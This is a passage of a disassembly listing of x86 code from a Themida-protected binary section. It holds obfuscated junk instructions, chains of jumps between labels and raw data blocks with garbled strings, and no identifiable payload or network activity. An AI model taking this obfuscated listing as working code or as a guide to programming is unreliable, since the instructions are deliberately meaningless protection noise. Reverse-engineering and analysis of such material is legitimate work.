		dd 61BF243Ch, 0C153010Dh, 0E7C108EFh, 0B8CF8107h, 0E94C515Ch
		dd 9637h, 5C243C87h, 0B8240489h, 4, 0FFFC7EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554CE9:				; CODE XREF: Themida_:005674B2j
		mov	[esp], edx
		push	43AB1D1Fh
		pop	edx
		not	edx
		inc	edx
		or	edx, 43AC4D45h
		xor	edx, 3101Ah
		add	ecx, edx
		mov	edx, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_55376A
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFFEF31h, 54C3B951h, 0F1814FC0h, 36A8484Fh, 24ADF181h
		dd 59E939BDh, 68000026h, 6185h,	68242C89h, 6372h, 89243C89h
		dd 4C781E7h, 68000000h,	3DE9h, 0BD242C89h, 455418BCh, 8108EDC1h
		dd 550A7EC5h, 3EDC17Ch,	33C5814Dh, 0E9F06CB4h, 0FFFFF70Bh
; ---------------------------------------------------------------------------

loc_554D68:				; CODE XREF: Themida_:00563FD1j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_5686D9
; ---------------------------------------------------------------------------
aVw_si		db 'VW^_éˆ',0Dh,0
		align 4
		dd 2904C483h, 0FAC4E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554D8E:				; CODE XREF: Themida_:0055987Aj
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 1E671170h
		add	ebx, 0FFFFFFFFh
		shl	ebx, 1
		push	4B5h
		mov	[esp], ebx
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	ebx
		dec	ebx
		add	ebx, 3CCE22E4h
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		jmp	loc_55A604
; ---------------------------------------------------------------------------

loc_554DC5:				; CODE XREF: Themida_:0055D478j
		shr	edi, 2
		shl	edi, 1
		shr	edi, 7
		jmp	loc_563415
; ---------------------------------------------------------------------------

loc_554DD2:				; CODE XREF: Themida_:005617ABj
		push	edx
		mov	edx, 2F257770h
		xchg	esi, edx
		xchg	ebx, esi
		not	ebx
		xor	esi, ebx
		xor	ebx, esi
		jmp	loc_55EAD2
; ---------------------------------------------------------------------------

loc_554DE7:				; CODE XREF: Themida_:0055DD96j
		push	edi
		mov	edi, 579F1FD2h
		sub	[esp+0Ch], edi
		pop	edi
		sub	dword ptr [esp+8], 5BA4713h
		add	[esp+8], edx
		add	dword ptr [esp+8], 5BA4713h
		jmp	loc_55DA3B
; ---------------------------------------------------------------------------
		align 4
		dd 1609E9EBh, 88520000h, 5AD388E2h, 8124048Bh, 4C4h, 0FEC3FE00h
		dd 4EC83CBh, 0C773E9h, 815A5E00h, 4ECh,	241C8900h, 40E4E9h
		db 0
; ---------------------------------------------------------------------------

loc_554E3D:				; CODE XREF: Themida_:005610FFj
		mov	[esp], edi
		push	4AE9h
		jmp	loc_55E5E9
; ---------------------------------------------------------------------------

loc_554E4A:				; CODE XREF: Themida_:0055CA5Fj
		push	4CB9h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_557967
; ---------------------------------------------------------------------------

loc_554E65:				; CODE XREF: Themida_:00566BAEj
		mov	ebx, 318525E8h
		shr	ebx, 1
		push	eax
		jmp	loc_55D1DC
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 2, 8B240C87h, 81662424h, 0E9633FEAh,	11231h,	3FFCEB81h
		dd 0DE01150Ah, 286DE9h,	0E9596600h, 0E5C6h, 240C335Ah
		dd 33240C31h, 248B240Ch, 24D36624h, 0F2E99C24h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554EB3:				; CODE XREF: Themida_:0055B147j
		not	eax
		sub	eax, 67835F3Fh
		push	eax
		jmp	loc_5572F6
; ---------------------------------------------------------------------------

loc_554EC0:				; CODE XREF: Themida_:0055EF35j
		mov	edx, esp
		jmp	loc_563A8B
; ---------------------------------------------------------------------------
		db 0BBh
		dd 22016C39h, 0E95BDA29h, 53E1h
; ---------------------------------------------------------------------------

loc_554ED4:				; CODE XREF: Themida_:0055A3FEj
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5626E5
; ---------------------------------------------------------------------------
		dd 42474FFh, 9220E95Bh,	815B0000h, 9671DBC6h, 3D2EE94Eh
		dd 0E9550001h, 133C7h, 0D5F7E987h, 818FE9h, 0C5F68100h
		dd 55582463h, 10BF3E9h,	0B6B8BF00h, 0F82991A5h,	46ED815Fh
		dd 0E96E5557h, 1D1Dh, 0E952CB29h, 744Eh, 0E9240C33h, 31DAh
		dd 5324048Bh, 0BE9E389h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_554F47:				; CODE XREF: Themida_:005575A2j
		xor	cl, 2
		add	cl, 75h
		mov	bl, cl
		pop	ecx
		jmp	loc_554AB6
; ---------------------------------------------------------------------------
aY3Seu		db 'Y3,$é…“',0
		align 2

loc_554F5E:				; CODE XREF: Themida_:0055EA33j
		sub	ebp, 0AF5FA8D5h
		add	eax, ebp
		pop	ebp
		jmp	loc_554703
; ---------------------------------------------------------------------------
		dd 25E9805Bh, 66A9C980h, 2842B753h, 421DE9F9h, 8F540000h
		dd 4832404h, 48F0424h, 24048324h, 240C8B04h, 4C481h, 0C1810000h
		dd 4, 4BA52h, 0D1010000h, 240C875Ah, 40EEE9h
		db 0
; ---------------------------------------------------------------------------

loc_554FAD:				; CODE XREF: Themida_:00566658j
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_56165F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0EC835824h, 24048904h, 4EC81h, 24890000h, 24048124h
		dd 4, 8124048Bh, 4C4h, 27F8E900h, 525D0000h, 0C281E289h
		dd 4, 8704C283h, 505C2414h, 8B650EB8h, 0F797976Eh, 0EC8397D0h
		dd 24048904h, 3C8B5857h, 4C48324h, 1223FE9h
		db 0
; ---------------------------------------------------------------------------

loc_555011:				; CODE XREF: Themida_:00563931j
		sub	dword ptr [esp], 86113E1h
		push	ecx
		mov	ecx, 5A170BC7h
		sub	[esp+4], ecx
		pop	ecx
		add	dword ptr [esp], 40D04C82h
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		db 5Bh
		dd 48BC331h, 0E1895124h, 4C181h, 23E90000h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555043:				; CODE XREF: Themida_:005597AAj
		add	esp, 4
		jmp	loc_567FE5
; ---------------------------------------------------------------------------

loc_55504E:				; CODE XREF: Themida_:005607E5j
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_557CEA
; ---------------------------------------------------------------------------
		db 0D3h
		dd 0E99C242Ch, 0FFFFE039h, 3027E6BBh, 7EBC142h,	8105EBC1h
		dd 7955C6C3h, 0BDEB8114h, 1A1E9E8h, 0C8015BD9h,	2A36E959h
		dd 0EB810001h, 29295A25h, 0E92434FFh, 11B45h, 7103C781h
		dd 0EF810061h, 47AA7603h, 0FFE165E9h, 98E981FFh, 81757025h
		dd 37091AE9h, 70BE970h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5550BE:				; CODE XREF: Themida_:0055C40Dj
		add	esp, 4
		jmp	loc_553EF8
; ---------------------------------------------------------------------------

loc_5550C6:				; CODE XREF: Themida_:00568A6Dj
		add	edx, ebx
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 0
		push	esi
		mov	esi, 57A3609Dh
		add	ebx, esi
		pop	esi
		add	ebx, edx
		sub	ebx, 57A3609Dh
		push	1091h
		mov	[esp], ecx
		mov	cl, al
		mov	[ebx], cl
		pop	ecx
		jmp	loc_5665DA
; ---------------------------------------------------------------------------
		db 0B8h
		dd 13D76677h, 11085E9h
		db 0
; ---------------------------------------------------------------------------

loc_55510D:				; CODE XREF: Themida_:00563370j
		mov	edx, [esp]
		add	esp, 4
		pop	edi
		xor	edx, 54B506C5h
		jmp	loc_55F26B
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0EC815124h, 4, 0BB241C89h, 34BB181Ah, 0F6E9D989h
		db 0D3h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55513B:				; CODE XREF: Themida_:0055A9BDj
		sub	eax, esi
		pop	esi
		add	eax, edi
		add	eax, 1646797Eh
		mov	edi, [esp]
		add	esp, 4
		or	[edi+1Ch], eax
		jmp	loc_56869A
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 32E2E9h, 0D0285B00h, 742C5A66h, 11C6E9h, 5BC18100h
		dd 5D6BF34Eh, 4CB2BB53h, 504B7BBAh, 700BC5B8h, 58C33164h
		dd 0BE56EBD1h, 3D4F716Fh, 0E7E9D6F7h, 810000B0h, 7064C8C2h
		dd 0D789576Bh, 8B5FFE89h, 0C4832414h, 81D6F704h, 242781E6h
		dd 42EE8126h, 8154CF5Dh, 0FFFFFFEEh, 0C29E9FFh,	89680001h
		dd 89000010h, 0F3BE2434h, 0F7062C48h, 11C681DEh, 816D706Fh
		dd 2EF117C6h, 5EF789D9h, 81E18951h, 4C1h, 4E98100h, 87000000h
		dd 53E9240Ch
		db 0BCh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5551F3:				; CODE XREF: Themida_:0055DAB6j
		mov	ebx, ebp
		pop	ebp
		jmp	loc_55F05A
; ---------------------------------------------------------------------------

loc_5551FB:				; CODE XREF: Themida_:00557017j
		mov	[esp], ecx
		jmp	loc_562B32
; ---------------------------------------------------------------------------
		dd offset dword_457444+1773Ch
		db 0F3h
		dd 8B68E9h, 5EF32900h, 0E3FFE957h, 0C481FFFFh, 4, 8904EC83h
		dd 21E92404h, 900010Bh,	2434FFF5h, 4C4815Eh, 0E9000000h
		dd 0F4A2h, 8904EC83h, 0BCB02404h, 48BC288h, 0BBC5E924h
		dd 0DE290000h, 83241C8Bh, 0CBE904C4h, 5000124h,	62D10CCDh
		dd 158C701h, 243C8BF8h,	0EC0DE9h, 30E95900h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55526F:				; CODE XREF: Themida_:0055DCA3j
		add	edi, 4
		push	3F12h
		mov	[esp], esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		jmp	loc_56436B
; ---------------------------------------------------------------------------
		db 81h,	6Ch, 24h
		dd 6B485A04h, 3CC3E963h, 248B0000h, 2466E924h, 34FF0001h
		dd 89565A24h, 4C681E6h,	81000000h, 4C6h, 24348700h, 0E924248Bh
		dd 0FFFFDDE5h
; ---------------------------------------------------------------------------

loc_5552C0:				; CODE XREF: Themida_:00565FA7j
		mov	esp, [esp]
		push	ebp
		jmp	loc_564136
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0E5h
		dd 8175975Fh, 70BE20EEh, 2474017Eh, 2434FF04h, 4C4835Eh
		dd 95C1E9h, 4C48300h, 0C48BE9h,	5EF22900h, 0C281DA01h
		dd 7A77286Ah, 0FCBE9h, 4C48100h, 81000000h, 494808F1h
		dd 0C8315A44h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_568CF2
; ---------------------------------------------------------------------------

loc_555317:				; CODE XREF: Themida_:0055B197j
		add	esp, 4
		shr	ecx, 6
		push	ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_564616
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 0E9000000h, 0FFFFF778h, 51B8BFh, 0E9F82973h
		dd 0A087h, 0C981D9F7h, 40CC28B1h, 39F7F181h, 0CA0166CFh
		dd 0D158E9h, 241C8700h,	46A768h, 241C8900h, 0A592E9h, 20E94A00h
		dd 5B000008h, 0FFFFED81h, 5CE9FFFFh, 52000017h,	7D347ABAh
		dd 0E9D1094Bh, 105D2h, 8124148Bh, 4C4h,	0D7B95100h, 535AD668h
		dd 0DFECE9h, 61CF8100h,	0E96D7A5Ch, 11264h
; ---------------------------------------------------------------------------

loc_5553A8:				; CODE XREF: Themida_:005685F1j
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edx
		push	esi
		push	6A9A51D1h
		pop	esi
		push	edx
		mov	edx, 39BD1588h
		xor	esi, edx
		pop	edx
		shr	esi, 7
		jmp	loc_5647D9
; ---------------------------------------------------------------------------

loc_5553CF:				; CODE XREF: Themida_:0055CD50j
		push	ebp
		jmp	loc_55A646
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 24h
		dd 24048324h, 50E95804h
		db 2Dh,	1, 0
; ---------------------------------------------------------------------------

loc_5553E3:				; CODE XREF: Themida_:00560E0Aj
		push	1998h
		jmp	loc_557EC1
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0EDh
		dd 16F14291h, 0D3D9E9h,	0E9CB2900h, 50EEh, 83241C8Bh, 0B55104C4h
		dd 8FED8055h, 9E66E9h
		db 0
; ---------------------------------------------------------------------------

loc_555411:				; CODE XREF: Themida_:00561854j
		mov	edi, ebx
		mov	ecx, edi
		pop	edi
		pop	ebx
		add	ebp, 1DEA3A7Eh
		jmp	loc_56806A
; ---------------------------------------------------------------------------
		dw 7EE9h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555427:				; CODE XREF: Themida_:0055DABDj
		add	ch, bl
		pop	bx
		add	dh, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_553A52
; ---------------------------------------------------------------------------
		db 83h
		dd 348704EEh, 24248B24h, 50240C89h, 90685552h, 5D612414h
		dd 148CED81h, 0EA896124h, 5AD0895Dh, 0E958C189h, 12A60h
; ---------------------------------------------------------------------------

loc_555464:				; CODE XREF: Themida_:00567643j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xchg	ebx, [esp]
		pop	esp

loc_555478:				; CODE XREF: Themida_:loc_55AF3Bj
		push	2A83h
		mov	[esp], ebx
		push	eax
		mov	eax, 242D1DACh
		add	dword ptr [esp+4], 6521344Eh
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 6521344Eh
		mov	eax, [esp]
		push	edi
		jmp	loc_56618B
; ---------------------------------------------------------------------------

loc_5554A3:				; CODE XREF: Themida_:00561708j
		mov	esp, [esp]
		jmp	loc_563684
; ---------------------------------------------------------------------------
		db 83h
		dd 0E80104C4h, 4E8835Dh, 2474FF50h, 48F5804h, 4895C24h
		dd 0DFD9E924h, 0C800FFFFh, 4059E9h, 48B6600h, 4EC8324h
		dd 83241489h, 248904ECh, 24048324h, 0D2E95A04h,	31000073h
		dd 0C33240Ch, 0BA525C24h, 4, 0A3E9D601h, 2D0000C4h, 4
		dd 0E9240487h, 39E5h
; ---------------------------------------------------------------------------

loc_555508:				; CODE XREF: Themida_:00561C43j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	edx, eax
		jmp	loc_5673FB
; ---------------------------------------------------------------------------
		dw 15Bh
		dd 8104246Ch, 71042444h, 8B620810h, 91E9242Ch, 0F7000124h
		dd 0E9EAD1DAh, 0ECC7h, 2AB15166h, 4AE9CF08h, 81FFFFF9h
		dd 0FB2B10EDh, 0D73FE92Ch, 590000h, 0F68058C6h,	0FFF00035h
		dd 515A2434h, 0D845E9h,	5ECC000h, 130D5E9h, 4EC8300h, 0FF243C89h
		dd 0E9042474h, 4EC6h
; ---------------------------------------------------------------------------

loc_555580:				; CODE XREF: Themida_:00558FF8j
		sub	eax, 45B29B3h
		jmp	loc_5560D8
; ---------------------------------------------------------------------------
aAxA		db 'ی',1Bh,'ہ',0Dh,0
		db 0EBh, 59h, 80h
		dd 0C380B6EBh, 515358F8h, 0DF68C588h, 8900000Dh, 0E8882404h
		dd 48BC388h, 4C48124h, 8B000000h, 0E952240Ch, 0CDFFh, 8704C583h
		dd 98E9242Ch
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5555C7:				; CODE XREF: Themida_:00564141j
		mov	[esp], ebp
		push	ebx
		push	dword ptr [esp]
		jmp	loc_55D013
; ---------------------------------------------------------------------------
		db 86h
		dd 0E95066C1h, 12A2Eh, 2664E950h, 0B60F0000h, 8734FFC0h
		dd 0FFF520E9h, 4C483FFh, 34FFD329h, 0BE87E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5555FA:				; CODE XREF: Themida_:00561420j
		add	edi, eax
		pop	eax
		add	edi, esi
		push	ebp
		mov	ebp, 467E25CAh
		jmp	loc_5651B8
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 2065883h, 0E95BD901h, 24Bh, 985E781h, 0BB536FC6h, 43DA62B0h
		dd 44C4B951h, 0CB217E9Eh, 4E3C159h, 52A3F381h, 0DF3119C0h
		dd 81241C8Bh, 4C4h, 4EC8100h, 89000000h, 8B58243Ch, 0E955243Ch
		dd 134h, 8124048Bh, 4C4h, 0E9D82900h, 485h, 2A47EB81h
		dd 0C8B03ECh, 4C48124h,	53000000h, 42474FFh, 24048F5Bh
		dd 0FFF292E9h, 241C33FFh, 33241C31h, 248B241Ch,	240C3324h
		dd 0C9F4E9h, 3E8C100h, 3A7B240Dh, 37E9482Bh, 5DFFFFEFh
		dd 348BF201h, 4C48124h,	1000000h, 0FBBF57CAh, 2916A374h
		dd 243C8BFAh, 0E904C483h, 10F0Ah, 0D9C9EA81h, 0D52918F3h
		dd 1ED815Ah, 0E9000000h, 10A3Bh, 582434FFh, 524EE9h, 77216800h
		dd 0C890000h, 0C2685524h, 89000030h, 0BEB9240Ch, 0E95DCA59h
		dd 7C55h, 0E9D3F65Ah, 4F80h, 81E78957h,	4C7h, 4EF8100h
		dd 87000000h, 32E9243Ch, 8F00001Bh, 248B2404h, 24148924h
		dd 41926853h, 2C890000h, 7BA9BD24h, 4D4D6514h, 8106EDC1h
		dd 0EA4178EDh, 31D5312Ah, 42D531EAh, 4599E9h
		db 0
; ---------------------------------------------------------------------------

loc_555749:				; CODE XREF: Themida_:005678EAj
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56551F
; ---------------------------------------------------------------------------

loc_55575B:				; CODE XREF: Themida_:0056376Ej
		mov	ebp, 2E0D007Ch
		push	eax
		mov	eax, 50CB3128h
		add	eax, 1973F10Dh
		or	ebp, eax
		pop	eax
		or	ebp, 7AF066D2h
		dec	ebp
		xor	ebp, 9D34A44h
		sub	ebp, 772C2CB6h
		add	ebx, ebp
		jmp	loc_5659D3
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 4C581h, 2C870000h, 1D30E924h,	8F660000h
		dd 0E0D0E902h, 0BB530000h, 29F320C4h, 4DEDCB81h, 814B2377h
		dd 0A7044AE3h, 3EBC16Ch, 0CFB7EB81h, 0DE018AB0h, 10353E9h
		dd 0C875E00h, 2C895C24h, 53E58924h, 4BBh, 5BDD0100h, 0E769E9h
		dd 21956800h, 14890000h, 0E1D3E924h, 0D6F70000h, 33E9h
		dd 2CD80000h, 0D6B35311h, 1C8BD800h, 5E545624h,	4C681h
		dd 0C6810000h, 4, 2474FF56h, 0D1E95E04h, 68000038h, 7C72h
		dd 0E9242C89h, 15D7h, 376CEE81h, 0BD5516DDh, 6F897624h
		dd 27F8F581h, 0E5812AE7h, 68D00007h, 0B850D5F7h, 1D8D2300h
		dd 33A68h, 24048900h, 0E92414F7h, 1604h, 32BE685Eh, 0DE90000h
		dd 330000EDh, 0C31240Ch, 240C3324h, 2434FF5Ch, 0FF2434FFh
		dd 83592434h, 3C8904ECh, 81E78924h, 4C7h, 4C78300h, 0E9243C87h
		dd 0E746h
; ---------------------------------------------------------------------------

loc_555890:				; CODE XREF: Themida_:00561BF5j
		mov	eax, esp
		push	edx
		mov	edx, 49A85DF8h
		add	edx, 1670B59h
		jmp	loc_56198B
; ---------------------------------------------------------------------------
aSb		db ']é¡<',0
		dd 0E9D80000h, 0A3F6h, 0EFC1DFF7h, 6E7C107h, 0C781DFF7h
		dd 66CF7FC4h, 875FF929h, 895C240Ch, 0D6E92404h,	0ADFFFFD7h
		dd 8B95156h, 0E95D572Ch, 0E326h, 2EC5E955h, 248B0001h
		dd 41F1E924h, 0C1810000h, 8F8B1722h, 5359CE89h,	3233A0BBh
		dd 6DCB8166h, 4B649651h, 0C105EBC1h, 0D3F703EBh, 0CB93C381h
		dd 0DE0937D3h, 0D1D6F75Bh, 0BD554EE6h, 577C26F1h, 95E9DDF7h
		dd 5200006Ch, 8B2414F7h, 0C4832414h, 4EC8104h, 89000000h
		dd 56E9243Ch, 89000130h, 4832414h, 565AFF24h, 0EBC5E9h
		db 0
; ---------------------------------------------------------------------------

loc_555949:				; CODE XREF: Themida_:0055FAB8j
		push	dword ptr [esp]
		jmp	loc_562A42
; ---------------------------------------------------------------------------

loc_555951:				; CODE XREF: Themida_:00561E66j
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		jmp	loc_55C84C
; ---------------------------------------------------------------------------

loc_55595C:				; CODE XREF: Themida_:005598E2j
		push	esi
		mov	esi, 5D62D49h
		jmp	loc_560C12
; ---------------------------------------------------------------------------
		db 0BBh
		dd 73568C9h, 11252E9h
		db 0
; ---------------------------------------------------------------------------

loc_555971:				; CODE XREF: Themida_:005679EAj
		sub	ebp, 6751321Dh
		pop	eax
		jmp	loc_56368E
; ---------------------------------------------------------------------------
		db 58h,	1, 0C3h
		dd 89C38158h, 294AFE09h, 4EC83C3h, 0B9240C89h, 4B5B4A00h
		dd 6BBC68h, 240C8900h, 592414F7h, 3F6E941h, 0C4830000h
		dd 0E9EF8104h, 101B476h, 0E9C781F7h, 5301B476h,	0E11F33BBh
		dd 4FE9502Dh, 6600001Bh, 81240C8Bh, 4ECh, 243C8900h, 0E955E789h
		dd 0DF9Ah, 0E9C6815Fh, 11AE16Bh, 0E9BF57EEh, 0E91AE16Bh
		dd 0FD58h, 515EF101h, 6065F2B9h, 59CE0122h, 0EE81CE01h
		dd 226065F2h, 0C428E9h,	0EF815B00h, 4, 5C243C87h, 0E9242489h
		dd 0B36Bh
; ---------------------------------------------------------------------------

loc_555A18:				; CODE XREF: Themida_:00566787j
		mov	[esp], ebp
		jmp	loc_559266
; ---------------------------------------------------------------------------

loc_555A20:				; CODE XREF: Themida_:0055EB97j
		pop	esi
		inc	esi
		sub	esi, 462FF8B8h
		push	esi
		jmp	loc_5540B4
; ---------------------------------------------------------------------------

loc_555A2E:				; CODE XREF: Themida_:005670A2j
		pop	eax
		neg	esi
		xor	esi, 9FB500EFh
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ecx, 6DAD6571h
		sub	ecx, 626C45D0h
		sub	ecx, edx
		add	ecx, 626C45D0h
		push	esi
		jmp	loc_557851
; ---------------------------------------------------------------------------
		dd 1B27E950h
		db 1, 0
; ---------------------------------------------------------------------------

loc_555A62:				; CODE XREF: Themida_:005658B4j
		push	6AA7h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5541E4
; ---------------------------------------------------------------------------

loc_555A74:				; CODE XREF: Themida_:0055926Bj
		xor	ebp, 5714316Dh
		jmp	loc_553E60
; ---------------------------------------------------------------------------
		db 81h
		dd 0CCBFDAC3h, 0E9DF21AFh, 1316h
; ---------------------------------------------------------------------------

loc_555A8C:				; CODE XREF: Themida_:0055994Fj
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		push	5B5Ah
		mov	[esp], ebx
		jmp	loc_55624B
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 0FFE87CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555AA9:				; CODE XREF: Themida_:005562C3j
		add	edi, eax
		jmp	loc_5668AA
; ---------------------------------------------------------------------------
		dd 24148B5Ch, 72EB6852h, 8F540000h, 0BB532404h,	4, 4245C01h
		dd 0C138E9h, 2C78100h, 33000000h, 3C31243Ch, 243C3324h
		dd 6624248Bh, 5124048Bh, 0DB54E9h, 241C8B00h, 4C481h, 4C2D0000h
		dd 52469F3Ah, 5A3EE9h, 244C0000h, 0C7C4E902h, 0E95C0000h
		dd 12258h, 0E9E9D7F7h, 5F00012Ch, 0EB2FE9h
		db 0
; ---------------------------------------------------------------------------

loc_555B19:				; CODE XREF: Themida_:0056224Cj
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5571B1
; ---------------------------------------------------------------------------

loc_555B23:				; CODE XREF: Themida_:00559718j
		mov	esp, [esp]
		push	4A16h
		mov	[esp], esi
		jmp	loc_55A582
; ---------------------------------------------------------------------------
		db 86h
		dd 6E4C0DCh, 7B55166h, 1228E9h,	0F1815800h, 960E7F34h
		dd 580CEB81h, 0CB2952E3h, 580CC381h, 0C8B52E3h,	4C48324h
		dd 1000FE9h
		db 0
; ---------------------------------------------------------------------------

loc_555B61:				; CODE XREF: Themida_:005668CEj
		sub	ebp, 65F74B4Ch
		xor	ebp, 1FAB5AAEh
		push	ecx
		mov	ecx, 50EA33D5h
		add	ebp, ecx
		pop	ecx
		push	ebp
		push	ebx
		pop	ebp
		jmp	loc_557130
; ---------------------------------------------------------------------------

loc_555B7E:				; CODE XREF: Themida_:0056896Cj
		add	dword ptr [esp], 2BC82282h
		push	dword ptr [esp]
		pop	ecx
		push	edx
		jmp	loc_55E686
; ---------------------------------------------------------------------------
		db 42h
		dd 8379EA81h, 0D101706Ch, 8E9C15Ah, 5C9FE9h, 24048B00h
		dd 96268h, 241C8900h, 241C8B54h, 5204C483h, 0D02025BAh
		dd 45CA814Eh, 0E9184919h, 0FFFFFD5Fh
; ---------------------------------------------------------------------------

loc_555BC4:				; CODE XREF: Themida_:0055E7CDj
		mov	ebx, esi
		pop	esi
		or	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_56275B
; ---------------------------------------------------------------------------

loc_555BD2:				; CODE XREF: Themida_:0055A98Aj
		mov	ecx, 12ED1607h
		and	eax, ecx
		jmp	loc_55B1B7
; ---------------------------------------------------------------------------
aXS		db 'X(Ø[é¹ê',0
		db 0
; ---------------------------------------------------------------------------

loc_555BE7:				; CODE XREF: Themida_:00558DA9j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_55CA16
; ---------------------------------------------------------------------------

loc_555BF6:				; CODE XREF: Themida_:00554151j
		mov	ch, dh
		pop	edx
		pop	eax
		add	dh, ch
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	al, 9
		sub	al, dh
		sub	al, 9
		jmp	loc_557C9A
; ---------------------------------------------------------------------------

loc_555C1A:				; CODE XREF: Themida_:005648CEj
		mov	[esp], eax
		jmp	loc_56301D
; ---------------------------------------------------------------------------
		db 53h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5606F5
; ---------------------------------------------------------------------------
		db 0FFh
		dd 148B2434h, 0CCD3E924h, 522C0000h, 0F8E9E800h, 550000B5h
		dd 4BDh, 6AEA8100h, 297BD73Ah, 6AC281EAh, 0E97BD73Ah, 0FFFFEF25h
		dd 4C481h, 3BE90000h, 0BD0000A8h, 33337596h, 0B5DDE9h
		db 0
; ---------------------------------------------------------------------------

loc_555C6D:				; CODE XREF: Themida_:00560816j
		pop	ecx
		push	edx
		push	edi
		mov	edi, 30CB6339h
		xor	edi, 0DF47DC3h
		push	eax
		mov	eax, 155B247Ah
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		mov	edx, edi
		pop	edi
		sub	edx, 24687648h
		shr	edx, 8
		push	esi
		jmp	loc_558030
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 24348704h, 0E189515Ch, 4C181h, 1CE90000h, 890000BCh
		dd 0CFE92414h, 8800005Dh, 88505BFDh, 58E788ECh,	0A76DE9h
		dd 686800h, 4890000h, 0E3895324h, 0E81DE9h, 0FBEA8100h
		dd 0E950377Ah, 0ECBBh
; ---------------------------------------------------------------------------

loc_555CE4:				; CODE XREF: Themida_:00563CC8j
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		jmp	loc_568A04
; ---------------------------------------------------------------------------

loc_555CF2:				; CODE XREF: Themida_:00568856j
		add	esp, 4
		sub	eax, ebp
		jmp	loc_562F63
; ---------------------------------------------------------------------------
		dd 0C672C868h, 24148B4Dh, 0E904C483h, 45E2h
; ---------------------------------------------------------------------------

loc_555D0C:				; CODE XREF: Themida_:0055AC46j
		push	791Ah
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_55C2B6
; ---------------------------------------------------------------------------
		dd 0F705E0C1h, 1C5FE9D0h, 0E9010001h, 0CACCE9h
		db 0
; ---------------------------------------------------------------------------

loc_555D35:				; CODE XREF: Themida_:00554B69j
		sub	edx, 0C32DF6h
		push	ebx
		mov	ebx, 37E626FFh
		jmp	loc_56522B
; ---------------------------------------------------------------------------
		dw 2D5Ah
		dd 74E67BBFh, 42D5Fh, 0CD680000h, 89000012h, 74FF2404h
		dd 48B0424h, 4C48324h, 0E924048Fh, 103D6h
; ---------------------------------------------------------------------------

loc_555D6C:				; CODE XREF: Themida_:00557A74j
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 161A3BF5h
		add	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_561BA6
; ---------------------------------------------------------------------------
